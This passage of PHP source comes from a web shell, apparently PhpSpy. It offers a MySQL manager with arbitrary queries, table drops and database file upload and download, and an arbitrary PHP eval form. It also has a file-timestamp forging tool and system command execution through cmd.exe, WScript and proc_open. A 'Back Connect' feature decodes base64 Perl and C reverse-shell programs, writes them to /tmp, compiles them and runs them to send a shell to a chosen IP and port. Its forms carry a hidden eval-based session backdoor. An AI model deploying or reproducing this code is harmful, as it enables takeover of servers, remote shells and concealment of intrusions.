	makeselect(array('name'=&gt;'charset','option'=&gt;$charsets,'selected'=&gt;$charset));
	p('&lt;/p&gt;');
	formfoot();
	p('&lt;form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile"&gt;&lt;input type=hidden name=c value="session_start();eval($_SESSION[chr(99)]);"&gt;');
	p('&lt;h2&gt;Upload file&lt;/h2&gt;');
	p('&lt;p&gt;&lt;b&gt;This operation the DB user must has FILE privilege&lt;/b&gt;&lt;/p&gt;');
	p('&lt;p&gt;Save path(fullpath): &lt;input class="input" name="savepath" size="45" type="text" /&gt; Choose a file: &lt;input class="input" name="uploadfile" type="file" /&gt; &lt;a href="javascript:mysqlfile(\'mysqlupload\');"&gt;Upload&lt;/a&gt;&lt;/p&gt;');
	p('&lt;h2&gt;Download file&lt;/h2&gt;');
	p('&lt;p&gt;File: &lt;input class="input" name="mysqldlfile" size="115" type="text" /&gt; &lt;a href="javascript:mysqlfile(\'mysqldown\');"&gt;Download&lt;/a&gt;&lt;/p&gt;');
	makehide('dbhost');
	makehide('dbport');
	makehide('dbuser');
	makehide('dbpass');
	makehide('dbname');
	makehide('charset');
	makehide('doing');
	makehide('action','sqlfile');
	p('&lt;/form&gt;');
}

elseif ($action == 'sqladmin') {
	!$dbhost &amp;&amp; $dbhost = 'localhost';
	!$dbuser &amp;&amp; $dbuser = 'root';
	!$dbport &amp;&amp; $dbport = '3306';
	$dbform = '&lt;input type="hidden" id="connect" name="connect" value="1" /&gt;';
	if(isset($dbhost)){
		$dbform .= "&lt;input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" /&gt;\n";
	}
	if(isset($dbuser)) {
		$dbform .= "&lt;input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" /&gt;\n";
	}
	if(isset($dbpass)) {
		$dbform .= "&lt;input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" /&gt;\n";
	}
	if(isset($dbport)) {
		$dbform .= "&lt;input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" /&gt;\n";
	}
	if(isset($dbname)) {
		$dbform .= "&lt;input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" /&gt;\n";
	}
	if(isset($charset)) {
		$dbform .= "&lt;input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" /&gt;\n";
	}

	if ($doing == 'backupmysql' &amp;&amp; $saveasfile) {
		if (!$table) {
			m('Please choose the table');
		} else {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			$table = array_flip($table);
			$fp = @fopen($path,'w');
			if ($fp) {
				$result = q('SHOW tables');
				if (!$result) p('&lt;h2&gt;'.mysql_error().'&lt;/h2&gt;');
				$mysqldata = '';
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $fp);
					}
				}
				fclose($fp);
				$fileurl = str_replace(SA_ROOT,'',$path);
				m('Database has success backup to &lt;a href="'.$fileurl.'" target="_blank"&gt;'.$path.'&lt;/a&gt;');
				mysql_close();
			} else {
				m('Backup failed');
			}
		}
	}
	if ($insert &amp;&amp; $insertsql) {
		$keystr = $valstr = $tmp = '';
		foreach($insertsql as $key =&gt; $val) {
			if ($val) {
				$keystr .= $tmp.$key;
				$valstr .= $tmp."'".addslashes($val)."'";
				$tmp = ',';
			}
		}
		if ($keystr &amp;&amp; $valstr) {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
		}
	}
	if ($update &amp;&amp; $insertsql &amp;&amp; $base64) {
		$valstr = $tmp = '';
		foreach($insertsql as $key =&gt; $val) {
			$valstr .= $tmp.$key."='".addslashes($val)."'";
			$tmp = ',';
		}
		if ($valstr) {
			$where = base64_decode($base64);
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
		}
	}
	if ($doing == 'del' &amp;&amp; $base64) {
		$where = base64_decode($base64);
		$delete_sql = "DELETE FROM $tablename WHERE $where";
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
	}

	if ($tablename &amp;&amp; $doing == 'drop') {
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		if (q("DROP TABLE $tablename")) {
			m('Drop table of success');
			$tablename = '';
		} else {
			m(mysql_error());
		}
	}

	$charsets = array(''=&gt;'Default','gbk'=&gt;'GBK', 'big5'=&gt;'Big5', 'utf8'=&gt;'UTF-8', 'latin1'=&gt;'Latin1');

	formhead(array('title'=&gt;'MYSQL Manager'));
	makehide('action','sqladmin');
	p('&lt;p&gt;');
	p('DBHost:');
	makeinput(array('name'=&gt;'dbhost','size'=&gt;20,'value'=&gt;$dbhost));
	p(':');
	makeinput(array('name'=&gt;'dbport','size'=&gt;4,'value'=&gt;$dbport));
	p('DBUser:');
	makeinput(array('name'=&gt;'dbuser','size'=&gt;15,'value'=&gt;$dbuser));
	p('DBPass:');
	makeinput(array('name'=&gt;'dbpass','size'=&gt;15,'value'=&gt;$dbpass));
	p('DBCharset:');
	makeselect(array('name'=&gt;'charset','option'=&gt;$charsets,'selected'=&gt;$charset));
	makeinput(array('name'=&gt;'connect','value'=&gt;'Connect','type'=&gt;'submit','class'=&gt;'bt'));
	p('&lt;/p&gt;');
	formfoot();
?&gt;
&lt;script type="text/javascript"&gt;
function editrecord(action, base64, tablename){
	if (action == 'del') {		
		if (!confirm('Is or isn\'t deletion record?')) return;
	}
	$('recordlist').doing.value=action;
	$('recordlist').base64.value=base64;
	$('recordlist').tablename.value=tablename;
	$('recordlist').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$('setdbname').dbname.value=dbname;
	$('setdbname').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$('settable').doing.value=doing;
	}
	if (page) {
		$('settable').page.value=page;
	}
	$('settable').tablename.value=tablename;
	$('settable').submit();
}
&lt;/script&gt;
&lt;?php
	//操作记录
	formhead(array('name'=&gt;'recordlist'));
	makehide('doing');
	makehide('action','sqladmin');
	makehide('base64');
	makehide('tablename');
	p($dbform);
	formfoot();

	//选定数据库
	formhead(array('name'=&gt;'setdbname'));
	makehide('action','sqladmin');
	p($dbform);
	if (!$dbname) {
		makehide('dbname');
	}
	formfoot();

	//选定表
	formhead(array('name'=&gt;'settable'));
	makehide('action','sqladmin');
	p($dbform);
	makehide('tablename');
	makehide('page',$page);
	makehide('doing');
	formfoot();

	$cachetables = array();	
	$pagenum = 30;
	$page = intval($page);
	if($page) {
		$start_limit = ($page - 1) * $pagenum;
	} else {
		$start_limit = 0;
		$page = 1;
	}
	if (isset($dbhost) &amp;&amp; isset($dbuser) &amp;&amp; isset($dbpass) &amp;&amp; isset($connect)) {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		//获取数据库信息
		$mysqlver = mysql_get_server_info();
		p('&lt;p&gt;MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'&lt;/p&gt;');
		$highver = $mysqlver &gt; '4.1' ? 1 : 0;

		//获取数据库
		$query = q("SHOW DATABASES");
		$dbs = array();
		$dbs[] = '-- Select a database --';
		while($db = mysql_fetch_array($query)) {
			$dbs[$db['Database']] = $db['Database'];
		}
		makeselect(array('title'=&gt;'Please select a database:','name'=&gt;'db[]','option'=&gt;$dbs,'selected'=&gt;$dbname,'onchange'=&gt;'moddbname(this.options[this.selectedIndex].value)','newline'=&gt;1));
		$tabledb = array();
		if ($dbname) {
			p('&lt;p&gt;');
			p('Current dababase: &lt;a href="javascript:moddbname(\''.$dbname.'\');"&gt;'.$dbname.'&lt;/a&gt;');
			if ($tablename) {
				p(' | Current Table: &lt;a href="javascript:settable(\''.$tablename.'\');"&gt;'.$tablename.'&lt;/a&gt; [ &lt;a href="javascript:settable(\''.$tablename.'\', \'insert\');"&gt;Insert&lt;/a&gt; | &lt;a href="javascript:settable(\''.$tablename.'\', \'structure\');"&gt;Structure&lt;/a&gt; | &lt;a href="javascript:settable(\''.$tablename.'\', \'drop\');"&gt;Drop&lt;/a&gt; ]');
			}
			p('&lt;/p&gt;');
			mysql_select_db($dbname);

			$getnumsql = '';
			$runquery = 0;
			if ($sql_query) {
				$runquery = 1;
			}
			$allowedit = 0;
			if ($tablename &amp;&amp; !$sql_query) {
				$sql_query = "SELECT * FROM $tablename";
				$getnumsql = $sql_query;
				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
				$allowedit = 1;
			}
			p('&lt;form action="'.$self.'" method="POST"&gt;&lt;input type=hidden name=c value="session_start();eval($_SESSION[chr(99)]);"&gt;');
			p('&lt;p&gt;&lt;table width="200" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tr&gt;&lt;td colspan="2"&gt;Run SQL query/queries on database '.$dbname.':&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;"&gt;'.htmlspecialchars($sql_query,ENT_QUOTES).'&lt;/textarea&gt;&lt;/td&gt;&lt;td style="padding:0 5px;"&gt;&lt;input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;');
			makehide('tablename', $tablename);
			makehide('action','sqladmin');
			p($dbform);
			p('&lt;/form&gt;');
			if ($tablename || ($runquery &amp;&amp; $sql_query)) {
				if ($doing == 'structure') {
					$result = q("SHOW COLUMNS FROM $tablename");
					$rowdb = array();
					while($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					p('&lt;table border="0" cellpadding="3" cellspacing="0"&gt;');
					p('&lt;tr class="head"&gt;');
					p('&lt;td&gt;Field&lt;/td&gt;');
					p('&lt;td&gt;Type&lt;/td&gt;');
					p('&lt;td&gt;Null&lt;/td&gt;');
					p('&lt;td&gt;Key&lt;/td&gt;');
					p('&lt;td&gt;Default&lt;/td&gt;');
					p('&lt;td&gt;Extra&lt;/td&gt;');
					p('&lt;/tr&gt;');
					foreach ($rowdb as $row) {
						$thisbg = bg();
						p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');
						p('&lt;td&gt;'.$row['Field'].'&lt;/td&gt;');
						p('&lt;td&gt;'.$row['Type'].'&lt;/td&gt;');
						p('&lt;td&gt;'.$row['Null'].'&amp;nbsp;&lt;/td&gt;');
						p('&lt;td&gt;'.$row['Key'].'&amp;nbsp;&lt;/td&gt;');
						p('&lt;td&gt;'.$row['Default'].'&amp;nbsp;&lt;/td&gt;');
						p('&lt;td&gt;'.$row['Extra'].'&amp;nbsp;&lt;/td&gt;');
						p('&lt;/tr&gt;');
					}
					tbfoot();
				} elseif ($doing == 'insert' || $doing == 'edit') {
					$result = q('SHOW COLUMNS FROM '.$tablename);
					while ($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					$rs = array();
					if ($doing == 'insert') {
						p('&lt;h2&gt;Insert new line in '.$tablename.' table &amp;raquo;&lt;/h2&gt;');
					} else {
						p('&lt;h2&gt;Update record in '.$tablename.' table &amp;raquo;&lt;/h2&gt;');
						$where = base64_decode($base64);
						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
						$rs = mysql_fetch_array($result);
					}
					p('&lt;form method="post" action="'.$self.'"&gt;&lt;input type=hidden name=c value="session_start();eval($_SESSION[chr(99)]);"&gt;');
					p($dbform);
					makehide('action','sqladmin');
					makehide('tablename',$tablename);
					p('&lt;table border="0" cellpadding="3" cellspacing="0"&gt;');
					foreach ($rowdb as $row) {
						if ($rs[$row['Field']]) {
							$value = htmlspecialchars($rs[$row['Field']]);
						} else {
							$value = '';
						}
						$thisbg = bg();
						p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');
						p('&lt;td&gt;&lt;b&gt;'.$row['Field'].'&lt;/b&gt;&lt;br /&gt;'.$row['Type'].'&lt;/td&gt;&lt;td&gt;&lt;textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;"&gt;'.$value.'&lt;/textarea&gt;&lt;/td&gt;&lt;/tr&gt;');
					}
					if ($doing == 'insert') {
						p('&lt;tr class="'.bg().'"&gt;&lt;td colspan="2"&gt;&lt;input class="bt" type="submit" name="insert" value="Insert" /&gt;&lt;/td&gt;&lt;/tr&gt;');
					} else {
						p('&lt;tr class="'.bg().'"&gt;&lt;td colspan="2"&gt;&lt;input class="bt" type="submit" name="update" value="Update" /&gt;&lt;/td&gt;&lt;/tr&gt;');
						makehide('base64', $base64);
					}
					p('&lt;/table&gt;&lt;/form&gt;');
				} else {
					$querys = @explode(';',$sql_query);
					foreach($querys as $num=&gt;$query) {
						if ($query) {
							p("&lt;p&gt;&lt;b&gt;Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."&lt;/b&gt;&lt;/p&gt;");
							switch(qy($query))
							{
								case 0:
									p('&lt;h2&gt;Error : '.mysql_error().'&lt;/h2&gt;');
									break;	
								case 1:
									if (strtolower(substr($query,0,13)) == 'select * from') {
										$allowedit = 1;
									}
									if ($getnumsql) {
										$tatol = mysql_num_rows(q($getnumsql));
										$multipage = multi($tatol, $pagenum, $page, $tablename);
									}
									if (!$tablename) {
										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
										$tablename = $matches[1][0];
									}
									$result = q($query);
									p($multipage);
									p('&lt;table border="0" cellpadding="3" cellspacing="0"&gt;');
									p('&lt;tr class="head"&gt;');
									if ($allowedit) p('&lt;td&gt;Action&lt;/td&gt;');
									$fieldnum = @mysql_num_fields($result);
									for($i=0;$i&lt;$fieldnum;$i++){
										$name = @mysql_field_name($result, $i);
										$type = @mysql_field_type($result, $i);
										$len = @mysql_field_len($result, $i);
										p("&lt;td nowrap&gt;$name&lt;br&gt;&lt;span&gt;$type($len)&lt;/span&gt;&lt;/td&gt;");
									}
									p('&lt;/tr&gt;');
									while($mn = @mysql_fetch_assoc($result)){
										$thisbg = bg();
										p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');
										$where = $tmp = $b1 = '';
										foreach($mn as $key=&gt;$inside){
											if ($inside) {
												$where .= $tmp.$key."='".addslashes($inside)."'";
												$tmp = ' AND ';
											}
											$b1 .= '&lt;td nowrap&gt;'.html_clean($inside).'&amp;nbsp;&lt;/td&gt;';
										}
										$where = base64_encode($where);
										if ($allowedit) p('&lt;td nowrap&gt;&lt;a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');"&gt;Edit&lt;/a&gt; | &lt;a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');"&gt;Del&lt;/a&gt;&lt;/td&gt;');
										p($b1);
										p('&lt;/tr&gt;');
										unset($b1);
									}
									tbfoot();
									p($multipage);
									break;	
								case 2:
									$ar = mysql_affected_rows();
									p('&lt;h2&gt;affected rows : &lt;b&gt;'.$ar.'&lt;/b&gt;&lt;/h2&gt;');
									break;
							}
						}
					}
				}
			} else {
				$query = q("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = mysql_fetch_array($query)) {
					$data_size = $data_size + $table['Data_length'];
					$table_rows = $table_rows + $table['Rows'];
					$table['Data_length'] = sizecount($table['Data_length']);
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				p('&lt;table border="0" cellpadding="0" cellspacing="0"&gt;');
				p('&lt;form action="'.$self.'" method="POST"&gt;&lt;input type=hidden name=c value="session_start();eval($_SESSION[chr(99)]);"&gt;');
				makehide('action','sqladmin');
				p($dbform);
				p('&lt;tr class="head"&gt;');
				p('&lt;td width="2%" align="center"&gt;&lt;input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /&gt;&lt;/td&gt;');
				p('&lt;td&gt;Name&lt;/td&gt;');
				p('&lt;td&gt;Rows&lt;/td&gt;');
				p('&lt;td&gt;Data_length&lt;/td&gt;');
				p('&lt;td&gt;Create_time&lt;/td&gt;');
				p('&lt;td&gt;Update_time&lt;/td&gt;');
				if ($highver) {
					p('&lt;td&gt;Engine&lt;/td&gt;');
					p('&lt;td&gt;Collation&lt;/td&gt;');
				}
				p('&lt;/tr&gt;');
				foreach ($tabledb as $key =&gt; $table) {
					$thisbg = bg();
					p('&lt;tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';"&gt;');
					p('&lt;td align="center" width="2%"&gt;&lt;input type="checkbox" name="table[]" value="'.$table['Name'].'" /&gt;&lt;/td&gt;');
					p('&lt;td&gt;&lt;a href="javascript:settable(\''.$table['Name'].'\');"&gt;'.$table['Name'].'&lt;/a&gt; [ &lt;a href="javascript:settable(\''.$table['Name'].'\', \'insert\');"&gt;Insert&lt;/a&gt; | &lt;a href="javascript:settable(\''.$table['Name'].'\', \'structure\');"&gt;Structure&lt;/a&gt; | &lt;a href="javascript:settable(\''.$table['Name'].'\', \'drop\');"&gt;Drop&lt;/a&gt; ]&lt;/td&gt;');
					p('&lt;td&gt;'.$table['Rows'].'&lt;/td&gt;');
					p('&lt;td&gt;'.$table['Data_length'].'&lt;/td&gt;');
					p('&lt;td&gt;'.$table['Create_time'].'&lt;/td&gt;');
					p('&lt;td&gt;'.$table['Update_time'].'&lt;/td&gt;');
					if ($highver) {
						p('&lt;td&gt;'.$table['Engine'].'&lt;/td&gt;');
						p('&lt;td&gt;'.$table['Collation'].'&lt;/td&gt;');
					}
					p('&lt;/tr&gt;');
				}
				p('&lt;tr class='.bg().'&gt;');
				p('&lt;td&gt;&amp;nbsp;&lt;/td&gt;');
				p('&lt;td&gt;Total tables: '.$table_num.'&lt;/td&gt;');
				p('&lt;td&gt;'.$table_rows.'&lt;/td&gt;');
				p('&lt;td&gt;'.$data_size.'&lt;/td&gt;');
				p('&lt;td colspan="'.($highver ? 4 : 2).'"&gt;&amp;nbsp;&lt;/td&gt;');
				p('&lt;/tr&gt;');

				p("&lt;tr class=\"".bg()."\"&gt;&lt;td colspan=\"".($highver ? 8 : 6)."\"&gt;&lt;input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /&gt; Save as file &lt;input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /&gt; &lt;input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /&gt;&lt;/td&gt;&lt;/tr&gt;");
				makehide('doing','backupmysql');
				formfoot();
				p("&lt;/table&gt;");
				fr($query);
			}
		}
	}
	tbfoot();
	@mysql_close();
}//end sql backup


elseif ($action == 'backconnect') {
	!$yourip &amp;&amp; $yourip = $_SERVER['REMOTE_ADDR'];
	!$yourport &amp;&amp; $yourport = '12345';
	$usedb = array('perl'=&gt;'perl','c'=&gt;'c');

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($start &amp;&amp; $yourip &amp;&amp; $yourport &amp;&amp; $use){
		if ($use == 'perl') {
			cf('/tmp/angel_bc',$back_connect);
			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &amp;");
		} else {
			cf('/tmp/angel_bc.c',$back_connect_c);
			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
			@unlink('/tmp/angel_bc.c');
			$res = execute("/tmp/angel_bc $yourip $yourport &amp;");
		}
		m("Now script try connect to $yourip port $yourport ...");
	}

	formhead(array('title'=&gt;'Back Connect'));
	makehide('action','backconnect');
	p('&lt;p&gt;');
	p('Your IP:');
	makeinput(array('name'=&gt;'yourip','size'=&gt;20,'value'=&gt;$yourip));
	p('Your Port:');
	makeinput(array('name'=&gt;'yourport','size'=&gt;15,'value'=&gt;$yourport));
	p('Use:');
	makeselect(array('name'=&gt;'use','option'=&gt;$usedb,'selected'=&gt;$use));
	makeinput(array('name'=&gt;'start','value'=&gt;'Start','type'=&gt;'submit','class'=&gt;'bt'));
	p('&lt;/p&gt;');
	formfoot();
}//end sql backup

elseif ($action == 'eval') {
	$phpcode = trim($phpcode);
	if($phpcode){
		if (!preg_match('#&lt;\?#si', $phpcode)) {
			$phpcode = "&lt;?php\n\n{$phpcode}\n\n?&gt;";
		}
		eval("?"."&gt;$phpcode&lt;?");
	}
	formhead(array('title'=&gt;'Eval PHP Code'));
	makehide('action','eval');
	maketext(array('title'=&gt;'PHP Code','name'=&gt;'phpcode', 'value'=&gt;$phpcode));
	p('&lt;p&gt;&lt;a href="http://www.4ngel.net/phpspy/plugin/" target="_blank"&gt;Get plugins&lt;/a&gt;&lt;/p&gt;');
	formfooter();
}//end eval

elseif ($action == 'editfile') {
	if(file_exists($opfile)) {
		$fp=@fopen($opfile,'r');
		$contents=@fread($fp, filesize($opfile));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}
	formhead(array('title'=&gt;'Create / Edit File'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=&gt;'Current File (import new file name and new file)','name'=&gt;'editfilename','value'=&gt;$opfile,'newline'=&gt;1));
	maketext(array('title'=&gt;'File Content','name'=&gt;'filecontent','value'=&gt;$contents));
	formfooter();
}//end editfile

elseif ($action == 'newtime') {
	$opfilemtime = @filemtime($opfile);
	//$time = strtotime("$year-$month-$day $hour:$minute:$second");
	$cachemonth = array('January'=&gt;1,'February'=&gt;2,'March'=&gt;3,'April'=&gt;4,'May'=&gt;5,'June'=&gt;6,'July'=&gt;7,'August'=&gt;8,'September'=&gt;9,'October'=&gt;10,'November'=&gt;11,'December'=&gt;12);
	formhead(array('title'=&gt;'Clone file was last modified time'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=&gt;'Alter file','name'=&gt;'curfile','value'=&gt;$opfile,'size'=&gt;120,'newline'=&gt;1));
	makeinput(array('title'=&gt;'Reference file (fullpath)','name'=&gt;'tarfile','size'=&gt;120,'newline'=&gt;1));
	formfooter();
	formhead(array('title'=&gt;'Set last modified'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=&gt;'Current file (fullpath)','name'=&gt;'curfile','value'=&gt;$opfile,'size'=&gt;120,'newline'=&gt;1));
	p('&lt;p&gt;Instead &amp;raquo;');
	p('year:');
	makeinput(array('name'=&gt;'year','value'=&gt;date('Y',$opfilemtime),'size'=&gt;4));
	p('month:');
	makeinput(array('name'=&gt;'month','value'=&gt;date('m',$opfilemtime),'size'=&gt;2));
	p('day:');
	makeinput(array('name'=&gt;'day','value'=&gt;date('d',$opfilemtime),'size'=&gt;2));
	p('hour:');
	makeinput(array('name'=&gt;'hour','value'=&gt;date('H',$opfilemtime),'size'=&gt;2));
	p('minute:');
	makeinput(array('name'=&gt;'minute','value'=&gt;date('i',$opfilemtime),'size'=&gt;2));
	p('second:');
	makeinput(array('name'=&gt;'second','value'=&gt;date('s',$opfilemtime),'size'=&gt;2));
	p('&lt;/p&gt;');
	formfooter();
}//end newtime

elseif ($action == 'shell') {
	if (IS_WIN &amp;&amp; IS_COM) {
		if($program &amp;&amp; $parameter) {
			$shell= new COM('Shell.Application');
			$a = $shell-&gt;ShellExecute($program,$parameter);
			m('Program run has '.(!$a ? 'success' : 'fail'));
		}
		!$program &amp;&amp; $program = 'c:\windows\system32\cmd.exe';
		!$parameter &amp;&amp; $parameter = '/c net start &gt; '.SA_ROOT.'log.txt';
		formhead(array('title'=&gt;'Execute Program'));
		makehide('action','shell');
		makeinput(array('title'=&gt;'Program','name'=&gt;'program','value'=&gt;$program,'newline'=&gt;1));
		p('&lt;p&gt;');
		makeinput(array('title'=&gt;'Parameter','name'=&gt;'parameter','value'=&gt;$parameter));
		makeinput(array('name'=&gt;'submit','class'=&gt;'bt','type'=&gt;'submit','value'=&gt;'Execute'));
		p('&lt;/p&gt;');
		formfoot();
	}
	formhead(array('title'=&gt;'Execute Command'));
	makehide('action','shell');
	if (IS_WIN &amp;&amp; IS_COM) {
		$execfuncdb = array('phpfunc'=&gt;'phpfunc','wscript'=&gt;'wscript','proc_open'=&gt;'proc_open');
		makeselect(array('title'=&gt;'Use:','name'=&gt;'execfunc','option'=&gt;$execfuncdb,'selected'=&gt;$execfunc,'newline'=&gt;1));
	}
	p('&lt;p&gt;');
	makeinput(array('title'=&gt;'Command','name'=&gt;'command','value'=&gt;$command));
	makeinput(array('name'=&gt;'submit','class'=&gt;'bt','type'=&gt;'submit','value'=&gt;'Execute'));
	p('&lt;/p&gt;');
	formfoot();

	if ($command) {
		p('&lt;hr width="100%" noshade /&gt;&lt;pre&gt;');
		if ($execfunc=='wscript' &amp;&amp; IS_WIN &amp;&amp; IS_COM) {
			$wsh = new COM('WScript.shell');
			$exec = $wsh-&gt;exec('cmd.exe /c '.$command);
			$stdout = $exec-&gt;StdOut();
			$stroutput = $stdout-&gt;ReadAll();
			echo $stroutput;
		} elseif ($execfunc=='proc_open' &amp;&amp; IS_WIN &amp;&amp; IS_COM) {
			$descriptorspec = array(
			   0 =&gt; array('pipe', 'r'),
			   1 =&gt; array('pipe', 'w'),
			   2 =&gt; array('pipe', 'w')
			);
			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
			if (is_resource($process)) {
				fwrite($pipes[0], $command."\r\n");
				fwrite($pipes[0], "exit\r\n");
				fclose($pipes[0]);
				while (!feof($pipes[1])) {
					echo fgets($pipes[1], 1024);
				}
				fclose($pipes[1]);
				while (!feof($pipes[2])) {
					echo fgets($pipes[2], 1024);
				}
				fclose($pipes[2]);
				proc_close($process);
			}
		} else {
			echo(execute($command));
		}
		p('&lt;/pre&gt;');
	}
}//end shell

elseif ($action == 'phpenv') {
	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
	$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
	!$dis_func &amp;&amp; $dis_func = 'No';	
	$info = array(
		1 =&gt; array('Server Time',date('Y/m/d h:i:s',$timestamp)),
